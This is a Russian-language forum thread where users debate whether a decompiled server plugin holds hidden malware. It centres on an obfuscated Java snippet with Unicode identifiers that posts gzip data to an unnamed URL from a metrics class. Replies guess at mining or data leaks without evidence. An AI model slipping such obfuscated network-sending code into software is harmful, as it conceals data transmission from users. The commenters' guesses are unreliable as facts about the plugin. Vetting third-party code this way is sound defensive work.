Помогите Хак или не хак, вот в чем вопрос.

  • Автор темы Автор темы Cachat
  • Дата начала Дата начала
Статус
Закрыто для дальнейших ответов.

Cachat

Активный участник
Пользователь
Баллы
61
Как мы все знаем, скачивая плагины не с офф ресурсов надо их декомпилить и проверять. И вот, вижу я такую штуку: \ua823\ua923\ua901
В юникоде, по сути можно спрятать все что угодно, особенно, когда unicode-table выдает неизвестные символы при вводе этого в их переводчик. Подозрительности добавляет еще и то, что эта штука находится совсем рядом с gzip. И кто знает, что он там хочет сделать.

Насколько я понимаю, это какое-то обращение к метрике, только вот я с ней никогда не работал, так что ничего по этому поводу не знаю. Вот и хочу спросить вас.

Код:
final OutputStream \ua823\ua923\ua901 = \ua823\ua923\ua901(urlConnection);
\ua823\ua923\ua901.write(gzip);
\ua823\ua923\ua901.flush();
final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(\ua823\ua923\ua900(urlConnection)));
String s = bufferedReader.readLine();
 \ua823\ua923\ua901.close();
bufferedReader.close();
 
Эта штука куда то стучится по url. Может быть что угодно, вплоть до майнера, что ждет команды майнить. Или плагины сервера куда то сливает. А может качает вирус и заражает все плагины.
 
Ага... Все таки хак вшили... Вопрос в том, куда стучится и зачем. Как я уже сказал, эта штука находится в классе с метрикой, и вот как определить, стучится она в метрику или в хак?
 
Но плагины она не заражает. Плагины с сервера с этой штукой побайтово совпадают с только что закомпилиними исходниками. А вот на счёт слива или майнера... Тут вопрос неоднозначный.
 
Лучше не используй, от греха подальше. Метрику можешь вообще вырезать, она не нужна.
 
Ага... Все таки хак вшили... Вопрос в том, куда стучится и зачем. Как я уже сказал, эта штука находится в классе с метрикой, и вот как определить, стучится она в метрику или в хак?
Да куда угодно. Легко может вместо метрики что то грязное делать. Обфусцируют специально, чтоб не поняли, что вирусняк.
 
Да уж. Легче будет самому аналог этого плагина написать, чем с этим разобраться. Так что закрываю.
 
Статус
Закрыто для дальнейших ответов.
Назад
Верх